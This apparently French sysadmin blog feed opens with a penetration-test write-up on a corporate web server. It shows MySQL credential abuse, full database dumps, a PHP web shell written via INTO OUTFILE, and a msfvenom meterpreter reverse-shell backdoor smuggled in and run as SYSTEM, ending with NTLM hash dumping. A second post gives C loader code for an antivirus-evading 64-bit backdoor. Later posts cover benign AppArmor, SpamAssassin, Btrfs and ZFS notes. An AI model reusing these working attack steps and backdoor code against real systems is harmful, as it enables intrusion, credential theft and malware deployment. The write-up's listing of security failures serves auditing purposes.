$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "select Host,User,Password from mysql.user" +-----------+-------------+-------------------------------------------+ | Host | User | Password | +-----------+-------------+-------------------------------------------+ | localhost | root | *6491................................9F4E | | 127.0.0.1 | root | *6491................................9F4E | | ::1 | root | *6491................................9F4E | | % | booked_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 | | 127.0.0.1 | booked_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 | +-----------+-------------+-------------------------------------------+ $
(Je masque ci-dessus le « hash » du compte « root » uniquement)
Le compte « booked_user » a un accès total a toutes les bases :
$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "SHOW GRANTS FOR 'booked_user'" +---------------------------------------------------------------------------------------------------------------------------------------+ | Grants for booked_user@% | +---------------------------------------------------------------------------------------------------------------------------------------+ | GRANT ALL PRIVILEGES ON *.* TO 'booked_user'@'%' IDENTIFIED BY PASSWORD '*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19' WITH GRANT OPTION | +---------------------------------------------------------------------------------------------------------------------------------------+
La défaillance ici:
- Un compte de service (“booker_user”) avec des droits excessif sur l'ensemble des bases
Je récupère l'ensemble des bases :
$ mysqldump -u booked_user -ppassword --host 172.30.10.15 --all-databases | gzip -c > booked_phpscheduleit_wtf.sql.gz $
Les défaillances ici:
- Trop de mots de passe “simple” cassable en combinant des “dictionnaires” et le “brut force”.
- Même mot de passe utilisé pour différents services.
Arborescence du site "corporate"
Grâce a des petits scripts et des logiciels comme “DirBuster” , je commence a étudier l'arborescence du site, et très vite, des fichiers intéressants sont découverts:
phpinfo()
A la racine du site , je découvre un fichier “test.php
” qui exécute la fonction “phpinfo()
” :
http://corporate.wtf.com/test.php
Grâce a cela, je découvre quelques informations, et notamment :
_SERVER["SYSTEMROOT"] | C:/Windows |
_SERVER["SCRIPT_FILENAME"] | E:/WWW_Root/htdocs_corporate/test.php |
_SERVER["DOCUMENT_ROOT"] | E:/WWW_Root/htdocs_corporate |
La défaillance ici:
- permettre l'usage de la fonction “phpinfo()” par des inconnus.
Logs
Encore à la racine du site , je découvre des “logs” d'erreurs sous forme de fichiers “.dat”.
http://corporate.wtf.com/errorslog.dat
Son contenu me sera utile plus loin.
La défaillance ici:
- Des logs lisibles par des inconnus sur un site en production.
Divers
Entre autres choses, je trouve un fichier nommé “logins.dat
” de plus 15 ans d'âge, et contenant des logins avec les mots de passe “hashé” en “md5” …
Pas besoin de faire appel à “John” : 21 mots de passes (sur 22 présents) sont “craqués” immédiatement et simplement en passant par le site https://hashkiller.co.uk/md5-decrypter.aspx …
Et l'un des comptes me donne les pleins pouvoirs sur un service “IT Asset Management” pour la gestion du parc informatique …
La défaillance ici:
- Égarer des documents sur un site en ligne.
- Stocker des mots de passes par des méthodes obsolètes (“md5”)
- Identifiant actif avec mot de passe inchangé depuis des années…
Passons.
Injections de scripts
« MySQL » et "OUTFILE" - Première partie
J'ai d'abord essayé d'injecter un simple test en « php » en un point de l’arborescence où je peux lister le contenu du dossier, par exemple ici :
http://corporate.wtf.com/Communication/News/cal/
Grâce a « phpinfo() », j'en déduis que le répertoire associé est :
E:\WWW_Root\htdocs_corporate\Communication\News\cal
Je m'essaye à la création d’un petit script nommé « t.php » :
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php phpinfo(); ?>" INTO OUTFILE "E:\WWW_Root\htdocs_corporate\Communication\News\cal\t.php"' ERROR 1290 (HY000) at line 1: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement $
J'ai une erreur a cause d'une sécurité en place:
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'SHOW VARIABLES LIKE "secure_file_priv"'Variable_name Value secure_file_priv E:\\MySQL Datafiles\\Uploads\\
Le dossier “E:\MySQL Datafiles\Uploads
” est le seul pouvant recevoir des fichiers par l'intermédiaire de « MySQL » .
Exécution de « php »
J'ai examiné un peu mieux le fonctionnement du site « corporate.wtf.com
» et j'ai finalement découvert une méthode pour forcer l'exécution de codes “php” depuis n'importe où sur le système.
D'abord, grâce aux informations contenus dans les fichiers de log d'erreurs découvert précédemment et que j'ai pu récupérer à la racine du site:
$ wget http://corporate.wtf.com/errorslog.dat
Dans le fichier “errorslog.dat
”, je trouve des liens construit comme ceci :
... Source : http://corporate.wtf.com/Communication/HR/Event/2015-11-10/index11.html ...
Sur le site en ligne , je vois aussi des liens formaté comme ça:
http://corporate.wtf.com/index.php?vol=Communication&rub=HR&art=Home
Après plusieurs tests de l'arborescence du site, je devine une construction comme suit:
/Communication/HR/Home.php
Je vérifie cette hypothèse simplement :
$ curl -I 'http://corporate.wtf.com/Communication' HTTP/1.1 301 ... $ curl -I 'http://corporate.wtf.com/Communication/HR' HTTP/1.1 301 ... $ curl -I 'http://corporate.wtf.com/Communication/HR/Home.php' HTTP/1.1 500 ...
Les dossiers existent, car je n'obtiens pas un code « 404
» (« Not Found
»).
Le fichier « Home.php
» existe aussi, mais mon accès direct (sans les bons arguments que je ne connais pas) génère ici une erreur fatale.
Donc, « vol
» et « rub
» sont des niveaux d'arborescences, et « art
» est le fichier « .php » a exécuter (sans ajouter l'extension).
Je peux vérifier cette hypothèse en effectuant la requête suivante :
$ curl 'http://corporate.wtf.com/?vol=.&rub=.&art=index'
Je constate alors que cette requête génère une pseudo-boucle infinie où l’index « index.php » s'appelle lui même…
Grâce a ma précédente découverte de la fonction « phpinfo() » dans « test.php », je constate aussi que la requête suivante fonctionne :
http://corporate.wtf.com/?vol=.&rub=.&art=test
Je peux vérifier en jouant avec les arguments « vol
» et « rub
» pour désigner un fichier « .php
» n'importe où sur le système:
http://corporate.wtf.com/?vol=E:\WWW_Root&rub=htdocs_corporate&art=test
Et “phpinfo()
” retourne (entre autres):
... _GET["vol"] E:\WWW_Root _GET["rub"] htdocs_corporate _GET["art"] test ...
Les défaillances misent en évidence ici:
- Pseudo “CMS” laissant trop d'informations exploitable
- Défaut de filtrage des arguments passés aux scripts
- On peut crasher le service “CMS”, notamment en générant des boucles infinies
« MySQL » et « OUTFILE » - Suite et fin
Cette fois, je peux reprendre l'injection de fichiers « .php » , dans le « bon » dossier:
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php phpinfo(); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t.php"'
Le fichier est déposé sans erreur.
Je peux maintenant tester et constater que j'ai exécuté ce script “t.php
”.
http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t
Escalade
Escalade "PHP" - Première partie
J'injecte un nouveau script nommé “t2.php
” pour faire un premier examen:
Ce script attend simplement une commande a exécuter en argument de la variable “cmd
”.
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php system($_GET[''cmd'']); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t2.php"'
Avec la commande “dir
”, je liste la racine du site « corporate » :
$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t2&cmd=dir' ... ... Volume in drive C is Disk_E Volume Serial Number is 668F-570E Directory of E:\WWW_Root\htdocs_corporate 20..-..-.. 05:25 PM <DIR> . 20..-..-.. 05:25 PM <DIR> .. 20..-..-.. 05:14 PM <DIR> Applications 20..-..-.. 04:33 PM <DIR> Communication ... 2015-01-28 10:49 AM 2828 index.php 2011-12-19 11:36 AM 21 test.php ... 20..-..-.. 04:20 PM <DIR> _ 20..-..-.. 08:47 AM 3825957 errorslog.dat ...
(Ci-dessus, extrait de la commande “dir” largement charcuté a coup de “..” ou “…” .)
Et je constate que le service “PHP” fonctionne avec les droits « Administrateur » :
$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t2&cmd=whoami' ... nt authority\system ...
D’autres scripts « PHP » seront installés pour vérifier l'infiltration : je n'entrerais pas dans ces fouillisdétails techniques ici.
Les défaillances misent en évidence ici:
- Confirmation qu'on peut exécuter un script “PHP” présent n'importe où sur le système
- “MySQL” qui permet d'injecter du code PHP
- Service “Apache/PHP” fonctionnant avec les droits ultime “Administrateur”
Création d'une « backdoor » « meterpreter »
Petit rappel pour créer une « backdoor » grâce aux outils « metasploit » :
$ export PAYLOAD_X64=windows/x64/meterpreter/reverse_tcp $ export LHOST=172.30.x.x $ export LPORT=443 $ msfvenom -a "x64" --platform "windows" -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 9 -f exe-only > wtf.exe
(Ci-dessus, je cache ma propre adresse IP par « 172.30.x.x »)

Escalade "PHP" - Suite et fin
Je transforme la « backdoor » en son expression en hexadécimal dans un fichier nommé ici « wtf_hex.txt » :
$ xxd -p wtf.exe | tr '[[:lower:]]' '[[:upper:]]' | tr -d '\n' > wtf_hex.txt
Et j'injecte la « backdoor » sur le serveur en utilisant les fonctionnalités de « MySQL », c’est à dire :
- Création d’une table temporaire avec une colonne « BLOB »
- Importation du contenu hexadécimal et conversion en binaire
- Export du contenu binaire sur le serveur
$ mysql --user=booked_user --password=password --host 172.30.10.15 phpscheduleit MySQL [phpscheduleit]> CREATE TEMPORARY TABLE IF NOT EXISTS foo ( id INT NOT NULL, payload BLOB NOT NULL ); Query OK, 0 rows affected (0.00 sec) MySQL [phpscheduleit]> LOAD DATA LOCAL INFILE "./wtf_hex.txt" INTO TABLE foo (@hexCol) SET id=0,payload=UNHEX(@hexCol); Query OK, 1 row affected (0.00 sec) Records: 1 Deleted: 0 Skipped: 0 Warnings: 0 MySQL [phpscheduleit]> SELECT payload FROM foo WHERE id=0 INTO DUMPFILE "E:\\MySQL Datafiles\\Uploads\\wtf.exe"; Query OK, 1 row affected (0.00 sec) MySQL [phpscheduleit]> DROP TABLE foo; Query OK, 0 rows affected (0.00 sec) MySQL [phpscheduleit]>
Ma « backdoor » « wtf.exe » est sur le serveur.
J'injecte enfin un nouveau script « php » pour démarrer cette « backdoor ».
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -e 'select "<?php error_reporting(0); system(\"E:\\MySQL Datafiles\\Uploads\\wtf.exe\"); die(); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t7.php"'
Prise de contrôle du serveur
Je prépare l'interaction avec « meterpreter » depuis une console « msfconsole » :
msf > use exploit/multi/handler msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp ... etc ...
Et puis je démarre ma « backdoor » sur le serveur « corporate ».
$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t7'
Du côté de « msfconsole » , je récupère la session :
msf4 exploit(multi/handler) > sessions 1 [*] Starting interaction with 1... meterpreter > getuid Server username: NT AUTHORITY\System meterpreter > sysinfo Computer : WTFWEB2 OS : Windows 2012 R2 (Build 9600). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 0 Meterpreter : x64/windows meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:d246........................7114::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter >
(« hash ntlm » du compte « Administrateur » partiellement caché ici)
Voila: J'ai les pleins pouvoirs sur le serveur « corporate.wtf.com ».
Les défaillances misent en évidence ici:
- Le serveur peut établir une communication avec un service appartenant à un autre réseau.
- Confirmation que les services “Apache/PHP” fonctionnent avec les droits “Administrateur”.
- Aucun service antivirus..
blog:2019:05:28:md5-decrypter-sample.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 28/05/2019 à 19:14:00 - Favoriser (lu/non lu)

blog:2019:05:28:md5-decrypter-sample.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 28/05/2019 à 19:14:00 - Favoriser (lu/non lu)

blog:2019:05:28:ziltoidia-web-2017.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 28/05/2019 à 19:12:00 - Favoriser (lu/non lu)

blog:2019:05:28:ziltoidia-web-2017.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 28/05/2019 à 19:12:00 - Favoriser (lu/non lu)

blog:troy-ulisse.jpg - supprimée
ReLoad par thierry (thierry@undisclosed.example.com) le 28/05/2019 à 01:22:00 - Favoriser (lu/non lu)
blog:nsa-malware.jpg - supprimée
ReLoad par thierry (thierry@undisclosed.example.com) le 28/05/2019 à 01:21:00 - Favoriser (lu/non lu)
blog:doublepulsar.png - supprimée
ReLoad par thierry (thierry@undisclosed.example.com) le 28/05/2019 à 01:21:00 - Favoriser (lu/non lu)
blog:md5-decrypter-sample.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 25/05/2019 à 23:00:00 - Favoriser (lu/non lu)

blog:md5-decrypter-sample.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 25/05/2019 à 23:00:00 - Favoriser (lu/non lu)

blog:2019:05:25:apparmor_et_bind_named - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 25/05/2019 à 00:11:00 - Favoriser (lu/non lu)
« AppArmor » et « Bind/named »
Republication d'article : source
Dans les logs, tout plein de:
[mer. jan 10 22:49:11 2019] audit: type=1400 audit(1548884940.162:98): apparmor="DENIED" operation="mknod" profile="/usr/sbin/named" name="/etc/bind/SLAVE/tmp-8tAieH8oKP" pid=716 comm="isc-worker0000" requested_mask="c" denied_mask="c" fsuid=113 ouid=113
Solution 1 : modifier « AppArmor »
Sources:
Voyons l’état des applications:
# aa-status apparmor module is loaded. 7 profiles are loaded. 7 profiles are in enforce mode. /usr/bin/man /usr/sbin/named /usr/sbin/ntpd man_filter man_groff nvidia_modprobe nvidia_modprobe//kmod 0 profiles are in complain mode. 2 processes have profiles defined. 2 processes are in enforce mode. /usr/sbin/named (716) /usr/sbin/ntpd (722) 0 processes are in complain mode. 0 processes are unconfined but have a profile defined.
Pour éliminer ce message, et certainement mieux faire fonctionner Bind/Named
dans un environnement sécurisé, j’ai modifié le fichier /etc/apparmor.d/usr.sbin.named
en ajoutant (extrait):
... /etc/bind/** r, # --- TJ ----------- /etc/bind/SLAVE/* rw, # ------------------ /var/lib/bind/** rw, ...
… ce qui autorise les écritures dans le dossier /etc/bind/SLAVE/
.
Il faut appliquer les modifications comme ceci
# apparmor_parser -r /etc/apparmor.d/usr.sbin.named
Solution 2: changer de répertoire
Finalement, le mieux est peut être simplement de s’inspirer de la configuration apparmor et d’utiliser les répertoires laisser en mode rw
…
Dans ce cas, il suffit de déplacer le dossier /etc/bind/SLAVE
dans le dossier /var/lib/bind/SLAVE
. Évidement , cela implique d’adapter aussi la configuration de bind partout où c’est nécessaire.
Voila.
blog:2019:05:25:metasploit_generer_une_backdoor_indetectable_en_c_64_bit - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 25/05/2019 à 00:10:00 - Favoriser (lu/non lu)
Metasploit: Générer une « backdoor » indétectable en C … 64 bit
Republication d'article : source
Ceci est un complément au « blog post » « Metasploit: Générer une « backdoor » indétectable en C » .
J’y expliquais comment créer une « backdoor » « 32 bit », mais pas « 64 bit » .
Mes tests de « backdoor » « 64 bit » plantaient systématiquement, avec un message d’erreur abscons … J’étais pourtant sur la bonne piste et j’ai trouvé la solution quelques heures après la publication de mon « blog post » sur la version « 32 bit » …
Rappel
Ici, les explications et l’exemple sont très simple. Référez-vous au « blog post » « Metasploit: Générer une « backdoor » indétectable en C » pour obtenir plus d’information.
Vous y verrez notamment comment:
Une « backdoor » en « 64 bit »
« Memory Protection »
J’avais raison de m’étonner qu’on puisse exécuter aussi facilement du code présent dans les données d’un programme… en « 32 bit » , car en pratique, par défaut, ce n’est pas possible avec un logiciel en « 64 bit ».
Mais heureusement, Micro$oft a bien fait les choses pour qu’on puisse qu’en même s’amuser.
Pour exécuter un « payload » en « 64 bit » , il faut qu’il soit dans la mémoire où l’execution de code est permise. Pour allouer cette mémoire, il « suffit » d’utiliser la fonction « VirtualAlloc() » en lui passant les bon arguments…
du C à « backdoor.exe »
Simple source
Reprenons le source de notre précédent article et apportons lui les modifications nécessaires:
#include <stdio.h> #include <windows.h> unsigned char buf[] = "\xfc\xe8\... ... ... ... ...\xff\xd5"; void main(void) { void *exec = NULL; ShowWindow(GetConsoleWindow(),SW_HIDE); if ( NULL != ( exec = VirtualAlloc( NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) { memcpy( exec , buf , sizeof( buf ) ); ((void (*)())exec)(); } }
En résumé:
- On a précédemment créé un « payload » qui est présent ici dans la chaine « buf ».
- On copie la chaine « buf » dans la mémoire allouée et prévue pour contenir du code exécutable.
- On démarre le « payload ».
Compiler
Dans mon cas, n’ayant pas d’autres moyens, j’utilise « mingw-w64 » pour compiler ce bout de code.
Une fois dans l’environnement « mingw-w64 »:
C:\Dev\Labo\C\Backdoor64\> gcc -o backdoor.exe backdoor.c -lwsock32
Ceci n’est qu’un exemple.
Il y a un peu plus de travail pour camoufler parfaitement la charge utile.
Sources :
blog:2019:05:25:spamassassin_txrep_en_remplacant_de_awl - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 25/05/2019 à 00:09:00 - Favoriser (lu/non lu)
SpamAssassin – « TxRep » en remplaçant de « AWL »
Republication d'article : source
Vite dit
Créer la base:
$ mysql -u root -p mysql> create database sa_txrep;
Préparer mysql/mariadb a se manger un gros index:
mysql> SET GLOBAL innodb_file_format=Barracuda; mysql> SET GLOBAL innodb_file_per_table=ON; mysql> SET GLOBAL innodb_large_prefix=1;
Sinon, il pourrait y avoir une erreur comme ça au moment de « CREATE TABLE » :
ERROR 1071 (42000): Specified key was too long; max key length is 767 bytes
Retour sous shell est création de la table txrep :
$ dpkg -S txrep_mysql.sql $ cat /usr/share/doc/spamassassin/sql/txrep_mysql.sql CREATE TABLE txrep (username varchar(100) NOT NULL default '', \ email varchar(255) NOT NULL default '', \ ip varchar(40) NOT NULL default '', \ count int(11) NOT NULL default '0', \ totscore float NOT NULL default '0', \ signedby varchar(255) NOT NULL default '', \ last_hit timestamp NOT NULL default CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, \ PRIMARY KEY (username,email,signedby,ip), \ KEY last_hit (last_hit)) ENGINE=InnoDB ROW_FORMAT=DYNAMIC;
ATTENTION: ajouter ROW_FORMAT=DYNAMIC après ENGINE=InnoDB .
Source: https://stackoverflow.com/questions/43379717/how-to-enable-large-index-in-mariadb-10
$ mysql -u root -p sa_txrep < txrep_mysql.sql
On donne les droits sur cette table:
mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_txrep.txrep TO 'sa_user'@'mx0.local.eez.fr'; mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_txrep.txrep TO 'sa_user'@'mx1.local.eez.fr';
Dans spamassassin …
# txrep txrep_factory Mail::SpamAssassin::SQLBasedAddrList user_awl_dsn DBI:mysql:database=sa_txrep;host=mail.local.eez.fr; user_awl_sql_username sa_user user_awl_sql_password user_awl_sql_table txrep use_txrep 1
Sources:
blog:2019:05:25:un_rapide_tour_avec_btrfs - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 25/05/2019 à 00:07:00 - Favoriser (lu/non lu)
Un rapide tour avec « Btrfs »
Republication d'article : source
Revu sommaire du système de fichiers “BTRFS” .
Comme souvent, je rédige ce post au fur et a mesure de mes découvertes: il ne s’agit pas d’un cours et les erreurs ne sont pas exclus.
Je ne parlerai pas des propriétés d’agrégation de disques pour constituer des RAIDs: c’est un vaste sujet qui ne m’intéresse pas ici.
Installation
Si nécessaire, il faut installer la suite logiciels de base (Ici, pour “Debian Stretch”):
# apt-get install btrfs-progs
Avec “Debian Jessie”, le package est nommé “btrfs-tools”.
Créer un systeme de fichiers « BTRFS »
Formatage
A partir d’une partition vide, on peut simplement formater:
# mkfs.btrfs <device>
fstab
Maintenant , on va monter ce système de fichier et modifiant le fichier “/etc/fstab”.
Le montage sera fait dans “/mnt/data”.
Et pour les points de montage, je préfère créé des dossiers sans (trop de) permission:
# mkdir -m 0000 /mnt/data
classique
La méthode classique :
Exemple, dans « /etc/fstab » :
/dev/xvdb1 /mnt/data btrfs defaults 0 0
La méthode avec “UUID” :
# btrfs fi show <device> ... uuid: xxxxxx ...
Récuperer l’UUID et puis dans « /etc/fstab » :
UUID=xxxxxx /mnt/data btrfs defaults 0 0
Maintenant, on peut monter comme un chef:
# mount /mnt/data
systemd
Avec “systemd” , on peut aussi faire, après la modification du fichier “/etc/fstab” :
# systemctl daemon-reload # systemctl start /mnt/data
Activer la compression
Si on veut de la compression, en voila.
Ajouter dans /etc/fstab :
/dev/xvdb1 /mnt/data btrfs defaults,compress=lzo 0 0
et puis:
# umount /mnt/data # mount /mnt/data
ou mieux (?):
# systemctl daemon-reload # systemctl reload /mnt/data
Forcer la compression des fichiers existants (tous ne seront pas forcement compressé… voir “–compress-force” pour ça. )
# btrfs filesystem defragment -clzo <mountpoint>
« df »
# btrfs filesystem df <mountpoint> Data: total=200.00GB, used=68.59GB System: total=32.00MB, used=20.00KB Metadata: total=99.97GB, used=34.27GB # df -h <mountpoint> Sys. fich. Taille Util. Dispo Uti% Monté sur <device> 300G 103G 132G 44% <mountpoint> subvolume # btrfs subvolume create /mnt/data/SUBVOL-0001 … etc… # btrfs subvolume list <mountpoint> ID 402 top level 5 path SUBVOL-0001 ID 403 top level 5 path SUBVOL-0002 ID 404 top level 5 path SUBVOL-0003 ID 405 top level 5 path SUBVOL-0004 ...
snapshot
(une extension des “subvolume”)
Créer
# btrfs subvolume snapshot -r <mountpoint> <mountpoint>/SNAPSHOT-0001
-r
le snapshot est créé en “read-only”
Supprimer
# btrfs subvolume delete <mountpoint>/SNAPSHOT-0001
Récupération
Imaginons qu’un malotru efface toutes les données par un:
# rm -Rf /mnt/data/*
Si on a un snapshot ici « /mnt/data/SNAPSHOT-0001 » , par exemple, la meilleure manière de restaurer est:
# cp -ax --reflink=always -T /mnt/data/SNAPSHOT-0001/ /mnt/data/
“–reflink=always” va juste créer des meta-données (nom du fichier+quelques infos) et puis surtout: faire pointer les données sur les mêmes que le “snapshot” !
Donc: copie très rapide, et pas de données en double. ❗ Cela ne fonctionne que parce que le disque physique est le même, et que « BTRFS » supporte cette “magie”.
Divers
Effet étrange
Il y a un “certain” décalage entre le moment où les données sont écrites et le moment où elles sont pris en compte dans l’occupation d’un espace disque, via la commande “df” par exemple.
Pour synchroniser rapidement le véritable état d’une partition:
# btrfs filesystem sync <mountpoint>
Agrandir
En supposant qu’on est sur une image « LVM » (ce qui est le cas le plus simple).
# btrfs filesystem show /mnt/btrfs2 Label: none uuid: 2d3ea2cd-efe0-4acb-8cc2-2b418329e06e Total devices 1 FS bytes used 128.00KiB devid 1 size 1.00GiB used 138.38MiB path /dev/mapper/vg0-btrfs2 Btrfs v3.17
LVM:
# lvresize -L +1G /dev/vg0/btrfs2 Size of logical volume vg0/btrfs2 changed from 1,00 GiB (256 extents) to 2,00 GiB (512 extents). Logical volume btrfs2 successfully resized
File System:
# btrfs filesystem resize max /mnt/btrfs2 Resize '/mnt/btrfs2' of 'max'
Voila:
# btrfs filesystem show /mnt/btrfs2 Label: none uuid: 2d3ea2cd-efe0-4acb-8cc2-2b418329e06e Total devices 1 FS bytes used 128.00KiB devid 1 size 2.00GiB used 138.38MiB path /dev/mapper/vg0-btrfs2 Btrfs v3.17 # df -h /mnt/btrfs2 Sys. de fichiers Taille Utilisé Dispo Uti% Monté sur /dev/mapper/vg0-btrfs2 2,0G 256K 1,9G 1% /mnt/btrfs2
Réduire (« shrink »)
❗ La bonne taille est celle affiché par “btrfs filesystem show <device>”
# btrfs filesystem show /mnt/btrfs2 Label: none uuid: 2d3ea2cd-efe0-4acb-8cc2-2b418329e06e Total devices 1 FS bytes used 128.00KiB devid 1 size 2.00GiB used 138.38MiB path /dev/mapper/vg0-btrfs2 Btrfs v3.17 # btrfs filesystem resize 900M /mnt/btrfs2 Resize '/mnt/btrfs2' of '900M' # lvresize -L 1000M /dev/vgO/btrfs2 ... Size of logical volume vg0/btrfs2 changed from 2,00 GiB (512 extents) to 1000,00 MiB (250 extents). Logical volume btrfs2 successfully resized # btrfs filesystem resize max /mnt/btrfs2 Resize '/mnt/btrfs2' of 'max'
Voila:
# btrfs filesystem show /mnt/btrfs2 Label: none uuid: 2d3ea2cd-efe0-4acb-8cc2-2b418329e06e Total devices 1 FS bytes used 128.00KiB devid 1 size 1000.00MiB used 138.38MiB path /dev/mapper/vg0-btrfs2 Btrfs v3.17
Tips
btrfs plein ?
Lorsque tout les « chunks » “Btrfs” sont tous alloués, ça craint.
Lorsqu’on a fait de la place sur une partition, il peut être suffisant de “balancer” un peu la partition pour que les « chunks » se libèrent… (a priori, c’est automatique depuis « Debian Stretch »).
# btrfs balance start -dusage=0 <montage_btrfs>
Exemple:
# btrfs fi show /dev/vg1/monster-project Label: none uuid: 11fe06a4-4249-4eaa-ad2a-3975940ba060 Total devices 1 FS bytes used 436.33GiB devid 1 size 2.64TiB used 2.64TiB path /dev/mapper/vg1-monster--project Btrfs v3.17
On balance:
# btrfs fi balance start -dusage=0 /mnt/monster-project
Et puis attendre, ou suivre sur une autre console:
# btrfs fi balance status /mnt/monster-project Balance on '/mnt/monster-project/' is running 987 out of about 1594 chunks balanced (1231 considered), 38% left
recharger partition
(aparté)
Forcer linux a recharger les partitions:
# partprobe <DEVICE>
« fstab » et « systemd »
L’un des “petits” problèmes de « Btrfs », sur des disques de plusieurs Téra (au moins 10T , pour moi), le montage d’une partition peut être très long, bien au delà de la limite par défaut de “systemd”, soit 90 secondes.
(J’ai lu qu’un disque de plus de 40T pouvait mettre jusqu’à 4 heures a monter! c’est flippant!)
« boot » tranquillou
Pour commencer, il faut trouver un autre biais pour monter les disques sans que le boot soit bloqué !!! : Dans “/etc/fstab” , on sera bien heureux d’ajouter a ces options de montage:
noauto,x-systemd.automount
Ça dit:
noauto | ne pas monter au boot la partition ! |
x-systemd.automount | utiliser le service “automount” pour faire le montage. |
En pratique, “noauto” sera contredit pas “x-systemd.automount”, parce que cette option exige le montage de la partition dés que possible : dans le meilleur des cas, au boot, mais pas obligatoirement.
changer le « timeout »
Sur des énormes partitions, il faut modifier le “timeout” de temps de montage.
Pour cela, il suffit d’ajouter dans les options de montage “/etc/fstab”:
x-systemd.mount-timeout=<TIMEOUT>
Remplacer “<TIMEOUT>” par le temps d’attente maximum. Par exemple, pour 10 minutes, c’est simplement: “10m”
Exemple d’une ligne complète:
/dev/sdd1 /mnt/fuck-hadopi btrfs defaults,compress=lzo,commit=10,noauto,x-systemd.automount,x-systemd.mount-timeout=10m 0 0
Pour avoir une idée des montages (et autres) qui sont long a mettre en service au « boot » par « systemd » :
# systemd-analyze blame
Sources:
Compression et « oom_killer »
Si les accès disques sont très lent, peut être a cause de la “compression”, alors la mémoire cache destiné aux accès disques peut augmenter excessivement et “oom_killer” peut se réveiller et “killer” des process…
Hummm… relou.
La solution, surtout si vous avez une carte RAID dédié avec de la RAM, c’est de libérer au plus vite cette mémoire.
Si j’ai bien compris, cette mémoire s’appelle la “dirty memory”.
Dans “/etc/sysctl.d/local.conf”:
vm.dirty_background_ratio = 1 vm.dirty_ratio = 10
# sysctl -p local.conf
Source: https://lonesysadmin.net/2013/12/22/better-linux-disk-caching-performance-vm-dirty_ratio/
Changer de disque a la volée
Sans RAID en place.
La ligne “/etc/fstab” concernant ce montage disque:
/dev/vg0/smb_super-gestion /mnt/super-gestion btrfs rw,acl,noexec,noauto,x-systemd.automount 0 0 # btrfs fi show /mnt/super-gestion/ Label: none uuid: 0e077ef7-4170-4d62-bd53-4630b1359c1b Total devices 1 FS bytes used 1.01TiB devid 1 size 1.20TiB used 1.01TiB path /dev/mapper/vg0-smb_super--gestion
On a un disque de taille identique (ou plus grand) de prêt…
On ajoute ce disque:
# btrfs device add /dev/vg1/smb_super-gestion /mnt/super-gestion # btrfs fi show /mnt/super-gestion/ Label: none uuid: 0e077ef7-4170-4d62-bd53-4630b1359c1b Total devices 2 FS bytes used 1.01TiB devid 1 size 1.20TiB used 1.01TiB path /dev/mapper/vg0-smb_super--gestion devid 2 size 1.20TiB used 0.00B path /dev/mapper/vg1-smb_super--gestion
❗ ATTENTION: faire l’opération suivante dans une console “tmux” ou “screen”: ce traitement peut durer des heures !!!
On retire le disque précédent, et hop, une copie intégrale s’opère …
# btrfs device delete /dev/vg0/smb_super-gestion /mnt/super-gestion
… quelques heures plus tard la commande est terminée.
# btrfs fi show /mnt/super-gestion/ Label: none uuid: 0e077ef7-4170-4d62-bd53-4630b1359c1b Total devices 1 FS bytes used 1.01TiB devid 2 size 1.20TiB used 1.01TiB path /dev/mapper/vg1-smb_super--gestion
On termine en adaptant le fichier “/etc/fstab” en faisant référence au nouveau disque:
/dev/vg1/smb_super-gestion /mnt/super-gestion btrfs rw,acl,noexec,noauto,x-systemd.automount 0 0
Et puis on recharge la nouvelle configuration:
# systemctl daemon-reload # systemctl reload /mnt/super-gestion
Et voila, on a transféré un disque complet sans interruption de service.
Sources:
blog:2019:05:25:zfs_sous_debian_tres_vite_et_tres_sommairement - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 25/05/2019 à 00:06:00 - Favoriser (lu/non lu)
ZFS sous Debian : très vite et très sommairement
Republication d'article : source
Il s’agit juste d’une prise de notes rapides sur l’installation et l’utilisation de « ZFS » sous Debian. Je survole très vite ce formidable système de fichiers (et de disques)…
Si je reste en surface de « ZFS » , c’est parce que j’y ai vu des limites majeures, dont les suivantes:
- Pas de « shrink » possible.
- Pas de « defrag » possible, alors que les perfs s’écrouleraient a l’approche des 90% de remplissage.
